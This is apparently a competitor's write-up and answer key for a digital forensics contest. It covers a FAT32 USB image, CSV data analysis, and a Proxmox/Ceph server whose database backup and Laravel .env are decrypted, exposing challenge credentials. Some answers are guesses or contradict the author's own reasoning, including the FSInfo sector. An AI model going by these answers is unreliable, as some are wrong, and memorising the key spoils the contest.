请分析黄志远PC.E01镜像中的渗透.rar文件,漏洞 CVE 编号识读被标识为未授权命令执行漏洞的虚拟CVE编号是什么?[答案格式:CVE-XXXX-XXXX]
CVE-2026-0002
请分析黄志远PC.E01镜像中的渗透.rar文件,系统修复优先级研判24小时紧急加固中,哪项不属于立即修复级别?[答案格式:ABC]
这题何意味?这么多填啥好?
请分析黄志远PC.E01镜像中的渗透.rar文件,管理员凭据有效性验证利用管理员密码,攻击者在哪个页面时才能生效?[答案格式:xxx.php]
tools.php
请分析黄志远PC.E01镜像中的渗透.rar文件,本系统使用的后端数据库技术是什么?[答案格式:DB_name]
SQLite
请分析黄志远PC.E01镜像中的渗透.rar文件,Webshell 目录处理逻辑文件上传功能中,源码将上传后的文件命名为什么?[答案格式:$_xxx]
请分析黄志远PC.E01镜像中的渗透.rar文件,目标系统运行的 Apache 具体版本号是什么?[答案格式:x.x.xx] 见上上题的图 2.4.66
请分析黄志远PC.E01镜像中的渗透.rar文件,根据通讯录管理系统漏洞清单,CVE-2026-0001(敏感信息泄露漏洞)的CVSS评分是多少?[答案格式:1.2]
9.8
请分析黄志远PC.E01镜像中的渗透.rar文件,攻击者最终获取了什么角色的权限?[答案格式:xxx-xxx]
www-data
移动介质取证 分析方俊朗UDisk.img检材,第一个扇区前3字节的十六进制值是什么?[答案格式:AA-DD-WW]
EB-3C-90
分析方俊朗UDisk.img检材,每簇占多少个扇区?[答案格式:2]
先看 FAT 引导扇区的固定字段位置,FAT12/16/32 的引导扇区里,前面有个 BPB 结构,常见字段位置固定:
0x0B-0x0C:每扇区字节数 BPB_BytsPerSec
0x0D:每簇扇区数 BPB_SecPerClus
8
分析方俊朗UDisk.img检材,FAT12/16兼容字段”根目录项数”是多少?[答案格式:100] FAT 引导扇区里:
0x10 是 FAT 表个数
0x11-0x12 是 根目录项数(BPB_RootEntCnt)
FAT/Windows 这类磁盘字段默认按小端序存放:
512
分析方俊朗UDisk.img检材,隐藏扇区数是多少?[答案格式:13] 0x1C-0x1F:隐藏扇区数 HiddenSectors
0000003F
63
分析方俊朗UDisk.img检材,BPB中声明的总扇区数是多少?[答案格式:100000] FAT BPB 里这两个字段分别是:
0x13-0x14:BPB_TotSec16,16 位总扇区数
0x20-0x23:BPB_TotSec32,32 位总扇区数
16 位那个字段没用,32位的是02FAF080,换成十进制就是50000000
分析方俊朗UDisk.img检材,每张FAT表占多少个扇区?[答案格式:10000] FAT 里“每张 FAT 表占多少扇区”也有两个字段:
0x16-0x17:BPB_FATSz16
0x24-0x27:BPB_FATSz32
00007530 转换为十进制就是30000
分析方俊朗UDisk.img检材,真实的根目录起始簇应为多少?[答案格式:3] 在 FAT32 里,根目录不像 FAT12/16 那样放在固定位置,而是放在数据区里,起始位置由引导扇区里的 BPB_RootClus 指定。这个字段的位置是:0x2C - 0x2F
偏移 0x2C-0x2F : RootClus 偏移 0x30-0x31 : FSInfo 偏移 0x32-0x33 : BkBootSec
我们先看FSInfo,如果 FSInfo=3 为真,那么第 3 个扇区应该是 FAT32 的 FSInfo 结构。
但是它是空的,不像 FSInfo。 反过来看 sector 1:
52 52 61 41 是 FAT32 FSInfo 的典型签名。所以真正的 FSInfo 在 sector 1,不是 3。
再看BkBootSec=9,也全是0,完全不像引导扇区。 再反过来看sector 6:
这明显就是一份 FAT 引导扇区。所以真正的备份引导扇区在 sector 6,不是 9。
看RootClus,他记录的是cluster 5 ,第五个簇。
反过来,用 sector 6 这份真实 boot sector 的参数去算,cluster 2 的起始偏移是: 0x01000000
这才像真正的根目录。
所以真正的起始簇号为2
同时上述可以证明 sector 0 是一份被篡改的假 boot sector。而 sector 6 具备 boot sector 的关键特征:
开头有跳转指令:EB 58 90
有 OEM 字符串:MSDOS5.0
末尾有合法签名:55 AA 所以这题里,真实字段要从 sector 6 读,不从 sector 0 读。
分析方俊朗UDisk.img检材,FSInfo扇区号是多少?[答案格式:1] 上面我们分析过了 3
分析方俊朗UDisk.img检材,备份扇区实际引导扇区号是?[答案格式:2] 表面上是9 实际的是6
分析方俊朗UDisk.img检材,卷序列号的十六进制值是多少?[答案格式:0x45463] 卷序列号在 FAT32 引导扇区的 0x43-0x46 那就是sector 6 + 0x43 = 0xC00 + 0x43 = 0xC43
086F0F0C,小端解析为 0x0C0F6F08。
分析方俊朗UDisk.img检材中的视频,进入暗门的密码是多少?[答案格式:123]
视频指的应该就是这个英雄本色
密码747
分析方俊朗UDisk.img检材中的视频,主角第一次带货去的国家是?[答案格式:泰国]
印度尼西亚
分析方俊朗UDisk.img检材中的视频,阿成乘坐的奔驰车牌号是多少?[答案格式:京A-1234]
北市-1086379
分析方俊朗UDisk.img检材中的视频,男主角弟弟上司总共戴过几款领带?[答案格式:5]
这题目神了,直接问AI,看天命了。 3
分析方俊朗UDisk.img检材中的表格,出现电话号码最多的后四位是?[答案格式:1234] 写脚本跑就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import csvimport refrom collections import Counterpath = r"C:\hlnet\10-1779072392\UDisk.img\新加卷\_00W.csv" counter = Counter() with open (path, 'r' , encoding="utf-8-sig" , newline='' ) as file: reader = csv.DictReader(file) print ("字段名:" , reader.fieldnames) for row in reader: phone = row.get("电话" , "" ) digits = re.sub(r"\D" , "" , phone) if len (digits) >= 4 : counter[digits[-4 :]] += 1 print (counter.most_common(20 ))
2133
分析方俊朗UDisk.img检材中的表格,平均资产最高的BIN码?[答案格式:123456] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import csvimport reimport osfrom collections import defaultdictpath = r"C:\hlnet\10-1779072392\UDisk.img\新加卷\_00W.csv" sums = defaultdict(float ) counts = defaultdict(int ) with open (path, 'r' , encoding="utf-8-sig" , newline='' ) as file: reader = csv.DictReader(file) print ("字段名:" , reader.fieldnames) for row in reader: card = re.sub(r"\D" , "" , row.get("银行卡号" , "" )) asset_raw = row.get("资产(人民币)" , "" ) if len (card) < 6 : continue bin_code = card[:6 ] asset_text = re.sub(r"[^0-9.\-]" , "" , asset_raw) if not asset_text: continue try : asset = float (asset_text) except ValueError: continue sums[bin_code] += asset counts[bin_code] += 1 best_bin = max (sums, key=lambda k: sums[k] / counts[k]) print (best_bin)print ("平均资产:" , sums[best_bin] / counts[best_bin])print ("人数:" , counts[best_bin])top10 = sorted ( counts, key=lambda k: sums[k] / counts[k], reverse=True )[:10 ] for bin_code in top10: print (bin_code, counts[bin_code], sums[bin_code] / counts[bin_code])
622446
分析方俊朗UDisk.img检材中的表格,邮箱字段中出现几种不同的域名?[答案格式:4] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import csvimport reimport osfrom collections import defaultdictpath = r"C:\hlnet\10-1779072392\UDisk.img\新加卷\_00W.csv" domains = set () with open (path, 'r' , encoding="utf-8-sig" , newline='' ) as file: reader = csv.DictReader(file) print ("字段名:" , reader.fieldnames) for row in reader: email = row.get("邮箱" , "" ).strip().lower() if "@" not in email: continue domain = email.split("@" , 1 )[1 ].strip() if domain: domains.add(domain) print (len (domains))print (sorted (domains))
3个
分析方俊朗UDisk.img检材中的表格,男性比女性多出多少人?[答案格式:991] 这里本来想直接用excel命令COUNTIF来算,但是表格太大,打开后好像会丢失数据,所以只能用python了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import csvimport reimport osfrom collections import defaultdictpath = r"C:\hlnet\10-1779072392\UDisk.img\新加卷\_00W.csv" man = 0 woman = 0 with open (path, 'r' , encoding="utf-8-sig" , newline='' ) as file: reader = csv.DictReader(file) print ("字段名:" , reader.fieldnames) for row in reader: gender = row.get("性别" , "" ).strip() if gender == "男" : man += 1 elif gender == "女" : woman += 1 print (f"男: {man} , 女: {woman} " )print (man-woman)
354
接上题,按“最后登录时间”的月份(2024-01~2024-12)计算每月近90天活跃率,并给出其变异系数CV=标准差/均值。[答案格式:2.234565] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import csvfrom datetime import date, timedeltaimport reimport osimport mathfrom collections import defaultdict,Counterpath = r"C:\hlnet\10-1779072392\UDisk.img\新加卷\_00W.csv" months = [] def parse_date (s ): return date(int (s[0 :4 ]), int (s[5 :7 ]), int (s[8 :10 ])) for month in range (1 , 13 ): if month == 12 : end = date(2024 , 12 , 31 ) else : end = date(2024 , month + 1 , 1 ) - timedelta(days=1 ) months.append((f"2024-{month:02d} " , end)) active = Counter() registered = Counter() with open (path, 'r' , encoding="utf-8-sig" , newline='' ) as file: reader = csv.reader(file) header = next (reader) for row in reader: last_login = parse_date(row[13 ]) register_time = parse_date(row[14 ]) for month, month_end in months: if register_time <= month_end: registered[month] += 1 start = month_end - timedelta(days=89 ) if register_time <= month_end and start <= last_login <= month_end: active[month] += 1 rates = [] for month, _ in months: rate = active[month] / registered[month] rates.append(rate) print (month, active[month], registered[month], rate) mean = sum (rates) / len (rates) std = math.sqrt(sum ((x - mean) ** 2 for x in rates) / len (rates)) cv = std / mean print (cv)
循环计算每月活跃率
for month, _ in months::遍历之前生成的 months 列表。因为只需要月份标识(如 “2024-01”)来作为字典的键,不需要具体的月末日期,所以用 _ 忽略掉元组中的第二个元素。
rate = active[month] / registered[month]:通过字典取值,用当月的活跃用户数除以注册用户数,得出该月的活跃率。
rates.append(rate) 和 print(...):将算出的活跃率存入列表,并打印出当月月份、活跃数、注册数和比率,方便查看明细。
计算均值 (Mean)
mean = sum(rates) / len(rates):将所有月份的活跃率相加后除以月份总数,得出全年的平均活跃率。
计算标准差 (Standard Deviation)
math.sqrt(sum((x - mean) ** 2 for x in rates) / len(rates)):这是总体标准差的计算公式。它先计算每个活跃率与均值的差的平方,求和后再除以总个数,最后开根号。标准差反映了活跃率偏离平均值的绝对程度。
计算变异系数 (Coefficient of Variation, CV)
cv = std / mean:用标准差除以均值。CV 是一个无量纲的相对指标,它能消除均值大小的影响。CV 值越大,说明各个月份之间的活跃率波动越剧烈;CV 值越小,说明运营表现越稳定。
0.250003
接上题,做反事实模拟:每位客户信用评分统一+20分(上限900)。统计“由非目标迁入目标”的人数,目标定义为 信用>=700 且 资产>=全体中位数。[答案格式:12345] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import csvfrom datetime import date, timedeltaimport reimport osimport mathfrom collections import defaultdict,Counterimport statisticspath = r"C:\hlnet\10-1779072392\UDisk.img\新加卷\_00W.csv" moneys = [] rows = [] with open (path, 'r' , encoding="utf-8-sig" , newline='' ) as file: reader = csv.reader(file) header = next (reader) for row in reader: money_text = re.sub(r"[^0-9.\-]" , "" , row[8 ]) score_text = re.sub(r"[^0-9.\-]" , "" , row[12 ]) if not money_text or not score_text: continue money = float (money_text) score = float (score_text) rows.append((money, score)) moneys.append(money) median_money = statistics.median(moneys) t1, t2 = 0 , 0 for money, score in rows: if money < median_money or score < 700 : t1 += 1 score = min (score + 20 , 900 ) if money < median_money or score < 700 : t2 += 1 print (t1-t2)
36636
服务器取证 分析pve集群,请给出pve主机版本号?[答案格式:1.2.3] 服务器的题我们先把网配好
1 2 3 4 5 6 7 8 9 10 ip -br link ip link set ens160 up ip link set vmbr0 up ip link set ens160 master vmbr0 2>/dev/null || true ip addr flush dev vmbr0 ip addr add 192.168.0.50/24 dev vmbr0 ip route replace default via 192.168.0.1 dev vmbr0 ip -br a bridge link ping -c 3 192.168.0.1
我们配网还要改一个文件/etc/network/interfaces
改成如下:
使配置生效
然后就成功了!
然后我们要配一下ceph,挂载的另一个盘
接下来我们可以采取一种临时方案,把 Ceph 需要的 192.168.170.x 地址,临时加到管理网桥 vmbr0 上。
1 # pve-node1 (170.50 → 0.50) ip addr add 192.168.170.50/24 dev vmbr0
然后尝试ping
网通后我们重启一下Ceph服务:
1 2 3 4 systemctl reset-failed systemctl restart ceph-mon@pve-node1 systemctl restart ceph-mgr@pve-node1 systemctl restart ceph-osd@0
三台机器的Ceph服务我们都要重启一下。
最后回头看题:
9.1.1
分析pve集群,请给出pve主机内核版本?[答案格式:1.2.3-123-abc] 见上图。 6.17.2-1-pve
分析pve集群,请给出pve集群名?[答案格式:abc132]
pgscup2026
分析pve集群,请给出加入集群所用指纹的前6位?[答案格式:AA:BB:CC] 这里的“指纹”指的是 PVE 加入集群时校验现有集群节点 HTTPS 证书的 SHA256 fingerprint
1 pvesh get /cluster/config/join --output-format json-pretty
FD:11:CE
分析pve集群,请给出pve集群中主机所用的时间服务器地址?[答案格式:www.baidu.com] 在 PVE 上常见有三种时间同步服务:
chrony
systemd-timesyncd
ntpd
1 2 3 4 timedatectl status systemctl is-active chrony systemctl is-active systemd-timesyncd systemctl is-active ntp
可得知使用了chrony
chrony 看 /etc/chrony/chrony.conf
systemd-timesyncd 看 /etc/systemd/timesyncd.conf
ntpd 看 /etc/ntp.conf
ntp.aliyun.com
分析pve集群,请给Ceph存储的资源池名?[答案格式:Abc_def]
Ceph_pgscup_pool
分析pve集群,请给出Ceph存储资源池的类别?[答案格式:ABC] 见上图。 RBD
分析pve集群,请给出Ceph集群的ID的前8位??[答案格式:a1b2c3d4]
3f28d8bb
分析pve集群,请给出Ceph存储设置的最小副本数?[答案格式:123] 见上图,看osd_pool_default_min_size 2
分析pve集群,请给出pve集群中虚拟机的快照创建时间?[答案格式:2025-01-11-11:01:01]
2026-04-16-15:05:19
对集群内的服务器进行分析,提取该服务器使用的Linux内核完整版本号?[答案格式:1.2.3-123abc_123] 上图,我们可知该集群只有一台业务虚拟机。
或者我们可以用qm list命令来列出所有KVM虚拟机,发现也确实只有这一个。
发现使用的iso是CentOS-7-x86_64-Minimal-1810.iso,直接从这个 ISO 里取内核包名。
1 2 isoinfo -i /var/lib/vz/template/iso/CentOS-7-x86_64-Minimal-1810.iso -R -f \ | grep -E '/Packages/kernel(-core|-modules)?-[0-9].*\.rpm$'
/Packages/kernel-3.10.0-957.el7.x86_64.rpm
3.10.0-957.el7.x86_64
对集群内的服务器进行分析,提取该服务器SSH服务监听的TCP端口号?[答案格式:123] 这里的服务器指的应该是上面的唯一的KVM虚拟机,也就是web。 我们先创建备份,然后导出到本地。/var/lib/vz/dump 是 PVE 默认放备份文件的目录 。
然后我们用vma解压工具转换为raw镜像:jancc/vma-extractor: Extraction tool for the VMA backup format used by Proxmox
上面是一种方法,可以本地仿真,下面是另一种方法。
我们直接打开web主机看看
报错了:TASK ERROR: KVM virtualisation configured, but not available. Either disable in VM configuration or enable in BIOS. 解决方法如下:
还需要降一下cpu核数和内存,不然开不起来哦
1 2 qm set 100 --sockets 1 --cores 2 qm set 100 --memory 2048
这里虽然开起来了,但是我们没有密码。。。
我们回头备份
然后我们把zst dump到本地,解压后用vma.py转换一下。
1 python vma.py "G:\vzdump-qemu-100-2026_05_21-22_04_37.vma" pgs_raw
然后我们用火眼去仿真一下,恢复密码。
然后我们直接ssh去连接就行,已经分配ip了。
我们在/root下发现一些信息:
数据库被删除了,那肯定是需要我们恢复的。/home下有数据库备份,/root下有加密工具。这个加密工具是个shell脚本,虽然表面上是python脚本。
这是一个 自解压并执行的 shell 脚本 ,里面嵌入了一个经过 gzip 压缩的 Python 文件(encrypt_tool.py)。 那么我们先gzip解压一下。
1 tail -n +44 encrypt_tool.py | gzip -cd > true_encrypt_tool.py
获得脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 """ 加密工具 - 用于服务器取证 适用于数据库备份 加密层次: 第1层: XOR加密 (密钥: 0x5A, 位置偏移 i%256) 第2层: Base64编码 第3层: 字符替换表 (ABCD...+/ -> ZYXW...+/) 第4层: 十六进制转换 用法: python encrypt_tool.py --input <文件路径> --output <输出路径> python encrypt_tool.py <输入路径> <输出路径> python encrypt_tool.py --db --output <输出路径> """ import osimport sysimport base64import gzipimport subprocessimport argparsetry : import codecs def read_file (path ): with codecs.open (path, 'r' , encoding='utf-8' ) as f: return f.read() def write_file (path, content ): with codecs.open (path, 'w' , encoding='utf-8' ) as f: f.write(content) except ImportError: def read_file (path ): with open (path, 'rb' ) as f: return f.read().decode('utf-8' ) def write_file (path, content ): with open (path, 'wb' ) as f: f.write(content.encode('utf-8' )) XOR_KEY = 0x5A BASE64_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" CUSTOM_TABLE = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/" def xor_encrypt (data ): """第1层: XOR加密""" result = [] for i, c in enumerate (data): result.append(chr (ord (c) ^ (XOR_KEY + i) % 256 )) return '' .join(result) def char_swap_encode (data ): """第3层: 字符替换编码""" trans = str .maketrans(BASE64_TABLE, CUSTOM_TABLE) return data.translate(trans) def obfuscate (data ): """4层混淆加密""" step1 = xor_encrypt(data) step2 = base64.b64encode(step1.encode('utf-8' )).decode('ascii' ) step3 = char_swap_encode(step2) step4 = step3.encode('utf-8' ).hex () return step4 def encrypt_file (input_path, output_path ): """加密目标文件""" content = read_file(input_path) obfuscated = obfuscate(content) write_file(output_path, obfuscated) print ("[OK] %s -> %s" % (input_path, output_path)) def main (): is_db = '--db' in sys.argv if len (sys.argv) >= 3 and not sys.argv[1 ].startswith('-' ): input_path = sys.argv[1 ] output_path = sys.argv[2 ] else : parser = argparse.ArgumentParser(description='加密文件加密工具' ) parser.add_argument('--input' , '-i' , help ='输入文件路径' ) parser.add_argument('--output' , '-o' , help ='输出文件路径' ) parser.add_argument('--db' , action='store_true' , help ='数据库备份模式' ) args = parser.parse_args() input_path = args.input if not args.db else None output_path = args.output is_db = args.db print ("=" * 60 ) print (" 数据库文件加密工具" ) print ("=" * 60 ) print ("" ) if is_db: db_user = 'root' db_pass = 'pgscup@o26' db_name = 'jinqin' password = 'JDSJ2026@Backup' print ("[*] 正在备份数据库..." ) print (" 数据库: %s" % db_name) print (" 输出: %s" % output_path) print ("" ) try : temp_sql = '/tmp/backup_temp.sql' dump_cmd = 'mysqldump -uroot -p"pgscup@o26" --single-transaction --quick %s > %s' % (db_name, temp_sql) print ("[*] 执行mysqldump..." ) ret = os.system(dump_cmd) if ret != 0 : print ("[ERROR] mysqldump失败, 返回码: %d" % ret) sys.exit(1 ) print ("[OK] mysqldump完成" ) temp_gz = '/tmp/backup_temp.sql.gz' gzip_cmd = 'gzip -9 -c < %s > %s' % (temp_sql, temp_gz) print ("[*] 执行gzip压缩..." ) ret = os.system(gzip_cmd) if ret != 0 : print ("[ERROR] gzip失败, 返回码: %d" % ret) os.remove(temp_sql) sys.exit(1 ) print ("[OK] gzip压缩完成" ) os.remove(temp_sql) print ("[*] 执行openssl加密..." ) openssl_cmd = 'openssl aes-256-cbc -salt -pass pass:%s -in %s -out %s' % (password, temp_gz, output_path) ret = os.system(openssl_cmd) if ret != 0 : print ("[ERROR] openssl失败, 返回码: %d" % ret) os.remove(temp_gz) sys.exit(1 ) print ("[OK] openssl加密完成" ) os.remove(temp_gz) size = os.path.getsize(output_path) print ("" ) print ("[OK] 完成: %s (%.2f MB)" % (output_path, size/1024 /1024 )) print ("" ) print ("[INFO] 数据库备份密码: %s" % password) except Exception as e: print ("[ERROR] %s" % str (e)) sys.exit(1 ) else : if not input_path or not output_path: print ("[ERROR] 请指定输入和输出文件路径" ) print ("用法: python encrypt_tool.py --input <文件> --output <输出>" ) sys.exit(1 ) if not os.path.exists(input_path): print ("[ERROR] 文件不存在: %s" % input_path) sys.exit(1 ) parent_dir = os.path.dirname(output_path) if parent_dir and not os.path.exists(parent_dir): os.makedirs(parent_dir) encrypt_file(input_path, output_path) print ("" ) print ("[OK] 加密完成" ) if __name__ == "__main__" : main()
这个脚本和上面计算机取证的脚本是一样的,直接用它的解密脚本即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 """ 解密工具 - 对应 encrypt_tool.py 的逆向操作 """ import osimport sysimport base64import argparseimport tempfileimport subprocessimport gziptry : import codecs def read_file (path ): with codecs.open (path, 'r' , encoding='utf-8' ) as f: return f.read() def write_file (path, content ): with codecs.open (path, 'w' , encoding='utf-8' ) as f: f.write(content) except ImportError: def read_file (path ): with open (path, 'rb' ) as f: return f.read().decode('utf-8' ) def write_file (path, content ): with open (path, 'wb' ) as f: f.write(content.encode('utf-8' )) XOR_KEY = 0x5A BASE64_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" CUSTOM_TABLE = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/" def char_swap_decode (data ): """字符替换解码 (CUSTOM_TABLE -> BASE64_TABLE)""" trans = str .maketrans(CUSTOM_TABLE, BASE64_TABLE) return data.translate(trans) def xor_decrypt (data ): """XOR解密""" result = [] for i, c in enumerate (data): result.append(chr (ord (c) ^ (XOR_KEY + i) % 256 )) return '' .join(result) def deobfuscate (hex_data ): """完整解密流程(4层逆向)""" step4 = bytes .fromhex(hex_data).decode('utf-8' ) step3 = char_swap_decode(step4) step2 = base64.b64decode(step3.encode('ascii' )).decode('utf-8' ) step1 = xor_decrypt(step2) return step1 def decrypt_file (input_path, output_path ): """解密普通文件(4层混淆)""" encrypted_hex = read_file(input_path).strip() decrypted_content = deobfuscate(encrypted_hex) write_file(output_path, decrypted_content) print ("[OK] 解密完成: %s -> %s" % (input_path, output_path)) def decrypt_db_backup (encrypted_path, output_path, password ): """解密数据库备份(--db 模式)""" print ("[*] 开始解密数据库备份..." ) print (" 加密文件: %s" % encrypted_path) print (" 输出文件: %s" % output_path) print (" 使用密码: %s" % password) temp_decrypted_gz = tempfile.mktemp(suffix='.gz' ) try : print ("[*] 执行openssl解密..." ) openssl_cmd = 'openssl aes-256-cbc -d -salt -md md5 -pass pass:%s -in %s -out %s' % ( password, encrypted_path, temp_decrypted_gz ) ret = subprocess.call(openssl_cmd, shell=True ) if ret != 0 : print ("[ERROR] openssl解密失败, 返回码: %d" % ret) sys.exit(1 ) print ("[OK] openssl解密完成" ) print ("[*] 执行gzip解压..." ) with gzip.open (temp_decrypted_gz, 'rb' ) as f_in: with open (output_path, 'wb' ) as f_out: f_out.write(f_in.read()) print ("[OK] gzip解压完成" ) size = os.path.getsize(output_path) print ("" ) print ("[OK] 数据库备份解密完成: %s (%.2f MB)" % (output_path, size/1024 /1024 )) print ("[INFO] 解密后的文件为SQL格式,可用mysql命令导入" ) except Exception as e: print ("[ERROR] %s" % str (e)) sys.exit(1 ) finally : if os.path.exists(temp_decrypted_gz): os.remove(temp_decrypted_gz) print ("[*] 已清理临时文件: %s" % temp_decrypted_gz) def main (): parser = argparse.ArgumentParser(description='数据库文件解密工具' ) parser.add_argument('--input' , '-i' , help ='输入文件路径(加密后的文件)' ) parser.add_argument('--output' , '-o' , help ='输出文件路径(解密后的文件)' ) parser.add_argument('--db' , action='store_true' , help ='数据库备份解密模式' ) parser.add_argument('--password' , '-p' , default='JDSJ2026@Backup' , help ='数据库备份密码(默认: JDSJ2026@Backup)' ) args = parser.parse_args() print ("=" * 60 ) print (" 数据库文件解密工具" ) print ("=" * 60 ) print ("" ) if args.db: if not args.input or not args.output: print ("[ERROR] 请指定输入和输出文件路径" ) print ("用法: python decrypt.py --db --input <加密文件> --output <输出.sql>" ) sys.exit(1 ) if not os.path.exists(args.input ): print ("[ERROR] 文件不存在: %s" % args.input ) sys.exit(1 ) decrypt_db_backup(args.input , args.output, args.password) else : if not args.input or not args.output: print ("[ERROR] 请指定输入和输出文件路径" ) sys.exit(1 ) if not os.path.exists(args.input ): print ("[ERROR] 文件不存在: %s" % args.input ) sys.exit(1 ) parent_dir = os.path.dirname(args.output) if parent_dir and not os.path.exists(parent_dir): os.makedirs(parent_dir) decrypt_file(args.input , args.output) print ("" ) print ("[OK] 解密完成" ) if __name__ == "__main__" : main()
接下来回归题目
22
对集群内的服务器进行分析,提取该服务器网卡的IP地址?[答案格式:127.0.0.1] 1 cat /etc/sysconfig/network-scripts/ifcfg-eth0
192.168.0.70
对集群内的服务器进行分析,提取金麟资本理财网站对应的域名?[答案格式:baidu.com] 我们找找nginx相关配置
jlzb.vip
对集群内的服务器进行分析,服务器中有个加密工具,请给出该工具的名字?[答案格式:abc_def.sh] 在root目录下有 encrypt_tool.py
对集群内的服务器进行分析,服务器中加密工具在加密数据库备份文件时使用的密码是什么?[答案格式:ABC@123] 直接看上面加密工具的源码即可得知: JDSJ2026@Backup
对集群内的服务器进行分析,服务器中加密工具第1层加密的XOR密钥是什么?[答案格式:按实际填写] 0x5A
对集群内的服务器进行分析,给出MySQL数据库root用户的密码?[答案格式:abc@123]
pgscup@o26
对集群内的服务器进行分析,请给出网站后台数据库中存放聊天记录的数据表名字?[答案格式:adb_def]
其中有content字段,同时后面的insert into的内容跟聊天记录差不多。 user_chat
对集群内的服务器进行分析,分析网站后台用户密码加密算法中type=0时的初始盐值是什么[答案格式:ABC]
/var/www/html/app/Users.php
ABCDEFG
对集群内的服务器进行应用取证,提取该Laravel应用的APP_KEY值的后8位?[答案格式:英文数字混合字符串] 直接尝试grep -r,搜不到。发现有.env.obf文件。
一眼就是被加密过的,看着像之前计算机取证中那个encrypt_tool加密
解密后结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 APP_NAME=金鳞资本 APP_ENV=local APP_KEY=base64:QmhkrWMLYbZsQkINFr5Jd1eNiDEVduTbfSNlotS+rWI= APP_DEBUG=true APP_URL=http://192.168.0.70 LOG_CHANNEL=stack DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=jinqin DB_USERNAME=root DB_PASSWORD=pgscup@o26 BROADCAST_DRIVER=log CACHE_DRIVER=file SESSION_DRIVER=database QUEUE_CONNECTION=sync
otS+rWI=
对集群内的服务器进行取证分析,金麟资本理财网站后台有多少个机器人?[答案格式:123]
在RobotController.php中发现如下代码
意思是从 Robot 模型对应的数据表里,分页查询机器人列表
然后回到1.sql找表。
有3个机器人
对集群内的服务器进行资金流水取证,提取该平台数据库中聊天记录总数?[答案格式:123] 聊天记录是user_chat表。
我们发现每一条聊天记录的第一位是编号,那我们看最后一个就行。
11494
对集群内的服务器进行数据库取证,提取该平台数据库中注册用户总记录数?[答案格式:123]
跟上题一个道理
21722 但是这里我让AI分析是21679,它说中间有缺失/删除过的 ID。
对集群内的服务器进行取证分析,提取平台内用户季丽华的身份证号?[答案格式:18位身份证]
370100196901274436
对集群内的服务器进行资金流水取证,提取该平台数据库中钱包流水金额第二大的用户名字?[答案格式:张三] 我们先连接一下数据库
1 2 3 create database if not exists jinqin; //建库 use jinqin; source /home/1.sql;
wallet_log 是钱包流水表,金额字段是 change,流水都是负数的“资金归集”,所以按用户汇总要用 SUM(ABS(change)),再关联 user_real.user_id 取姓名。
可用 SQL 思路:SELECT ur.name, SUM(ABS(wl.`change`)) AS amount FROM wallet_log wl JOIN user_real ur ON ur.user_id = wl.user_id GROUP BY wl.user_id, ur.name ORDER BY amount DESC LIMIT 1 OFFSET 1;
燕春梅
对集群内的服务器进行数据库取证,提取该平台法币交易中交易笔数最多的卖家的交易笔数?[答案格式:123] 1 2 3 4 5 SELECT seller_id, COUNT(*) AS cnt FROM legal_deal GROUP BY seller_id ORDER BY cnt DESC LIMIT 1;
1727
对集群内的服务器进行资金流水取证,提取该平台已完成结算的杠杆交易中保证金总额最多的用户的保证金总额?[答案格式:100.00] 直接搜保证金,定位到具体的表
题目说“已完成结算的杠杆交易”,在这份库里 settled 全部是 0,所以不能用 settled=1,否则没有数据。应按完成交易理解,用:status = 3 complete_time > 0
1 2 3 4 5 6 7 SELECT user_id, SUM(origin_caution_money) AS total FROM lever_transaction WHERE status = 3 AND complete_time > 0 GROUP BY user_id ORDER BY total DESC LIMIT 1;
37240.76
对集群内的服务器进行资金流水取证,提取该平台商家中余额最小的商家的手机号?[答案格式:18036310808]
1 2 3 4 SELECT mobile, seller_balance FROM seller ORDER BY seller_balance ASC LIMIT 1;
15860623709
对集群内的服务器进行资金流水取证,提取该平台商家中余额最小的商家的余额?[答案格式:100.0] 见上图 8461.4